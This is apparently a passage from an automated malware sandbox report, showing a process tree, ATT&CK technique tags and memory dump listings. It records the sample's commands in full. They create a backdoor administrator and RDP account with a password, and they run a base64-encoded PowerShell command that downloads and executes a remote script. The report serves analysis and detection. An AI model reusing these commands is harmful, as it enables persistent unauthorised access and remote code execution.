- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1136

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc dHyhzWko /add
1⤵
- Suspicious use of WriteProcessMemory
PID:404
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc dHyhzWko /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc dHyhzWko /add
    3⤵
    PID:860

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1532
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:2312

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1824
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
    3⤵
    PID:1692

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2164

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc dHyhzWko
1⤵
- Suspicious use of WriteProcessMemory
PID:316
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc dHyhzWko
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc dHyhzWko
    3⤵
    PID:4032

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1676
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:3792

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3176
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:3576

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3456
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:3136

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1412-267-0x0000021C4B0E6000-0x0000021C4B0E8000-memory.dmp

Filesize
8KB

Download
memory/1412-268-0x0000021C4B0E8000-0x0000021C4B0EA000-memory.dmp

Filesize
8KB

Download
memory/1412-224-0x0000021C4B0E3000-0x0000021C4B0E5000-memory.dmp

Filesize
8KB

Download
memory/1412-223-0x0000021C4B0E0000-0x0000021C4B0E2000-memory.dmp

Filesize
8KB

Download
memory/2180-115-0x0000000003019000-0x0000000003022000-memory.dmp

Filesize
36KB

Download
memory/2180-117-0x0000000000400000-0x0000000002F02000-memory.dmp

Filesize
43.0MB

Download
memory/2180-116-0x0000000002F70000-0x000000000301E000-memory.dmp

Filesize
696KB

Download
memory/2512-182-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-180-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-169-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-170-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-171-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-172-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-174-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-175-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-176-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-178-0x00000151216B0000-0x00000151216B2000-memory.dmp

Filesize
8KB

Download
memory/2512-179-0x00000151216B3000-0x00000151216B5000-memory.dmp

Filesize
8KB

Download
memory/2512-205-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-204-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-183-0x00000151076C0000-0x00000151076C2000-memory.dmp

Filesize
8KB

Download
memory/2512-195-0x00000151216B6000-0x00000151216B8000-memory.dmp

Filesize
8KB

Download
memory/3028-118-0x00000000007B0000-0x00000000007C6000-memory.dmp

Filesize
88KB

Download
memory/3136-392-0x00000287CFA60000-0x00000287CFA62000-memory.dmp

Filesize
8KB

Download
memory/3136-393-0x00000287CFA63000-0x00000287CFA65000-memory.dmp

Filesize
8KB

Download
memory/3136-399-0x00000287CFA66000-0x00000287CFA68000-memory.dmp

Filesize
8KB

Download
memory/3136-425-0x00000287CFA68000-0x00000287CFA69000-memory.dmp

Filesize
4KB

Download
memory/3352-133-0x000001993A190000-0x000001993A191000-memory.dmp

Filesize
4KB

Download
memory/3352-167-0x000001993A158000-0x000001993A159000-memory.dmp

Filesize
4KB

Download
memory/3352-137-0x0000019952360000-0x0000019952361000-memory.dmp

Filesize
4KB

Download
memory/3352-136-0x0000019938280000-0x0000019938282000-memory.dmp

Filesize
8KB

Download
memory/3352-135-0x0000019938280000-0x0000019938282000-memory.dmp

Filesize
8KB

Download
memory/3352-159-0x00000199532E0000-0x00000199532E1000-memory.dmp

Filesize
4KB

Download
memory/3352-139-0x000001993A150000-0x000001993A152000-memory.dmp

Filesize
8KB

Download
memory/3352-134-0x0000019938280000-0x0000019938282000-memory.dmp

Filesize
8KB

Download
memory/3352-160-0x0000019953670000-0x0000019953671000-memory.dmp

Filesize
4KB

Download
memory/3352-153-0x000001993A156000-0x000001993A158000-memory.dmp

Filesize
8KB

Download
memory/3352-152-0x000001993A1C0000-0x000001993A1C1000-memory.dmp

Filesize
4KB

Download
memory/3352-141-0x0000019938280000-0x0000019938282000-memory.dmp

Filesize
8KB

Download
memory/3352-129-0x0000019938280000-0x0000019938282000-memory.dmp

Filesize
8KB

Download
memory/3352-132-0x0000019938280000-0x0000019938282000-memory.dmp

Filesize
8KB

Download
memory/3352-140-0x000001993A153000-0x000001993A155000-memory.dmp

Filesize
8KB

Download
memory/3352-131-0x0000019938280000-0x0000019938282000-memory.dmp

Filesize
8KB

Download
memory/3352-130-0x0000019938280000-0x0000019938282000-memory.dmp

Filesize
8KB

Download
memory/3496-304-0x000001FEF9D96000-0x000001FEF9D98000-memory.dmp

Filesize
8KB

Download
memory/3496-269-0x000001FEF9D90000-0x000001FEF9D92000-memory.dmp

Filesize
8KB

Download
memory/3496-270-0x000001FEF9D93000-0x000001FEF9D95000-memory.dmp

Filesize
8KB

Download
memory/3496-305-0x000001FEF9D98000-0x000001FEF9D9A000-memory.dmp

Filesize
8KB

Download
memory/3716-126-0x00000225FF765000-0x00000225FF766000-memory.dmp

Filesize
4KB

Download
memory/3716-122-0x00000225FFB80000-0x00000225FFF7F000-memory.dmp

Filesize
4.0MB

Download
memory/3716-125-0x00000225FF763000-0x00000225FF765000-memory.dmp

Filesize
8KB

Download
memory/3716-124-0x00000225FF760000-0x00000225FF762000-memory.dmp

Filesize
8KB

Download
memory/3716-127-0x00000225FF766000-0x00000225FF767000-memory.dmp

Filesize
4KB

Download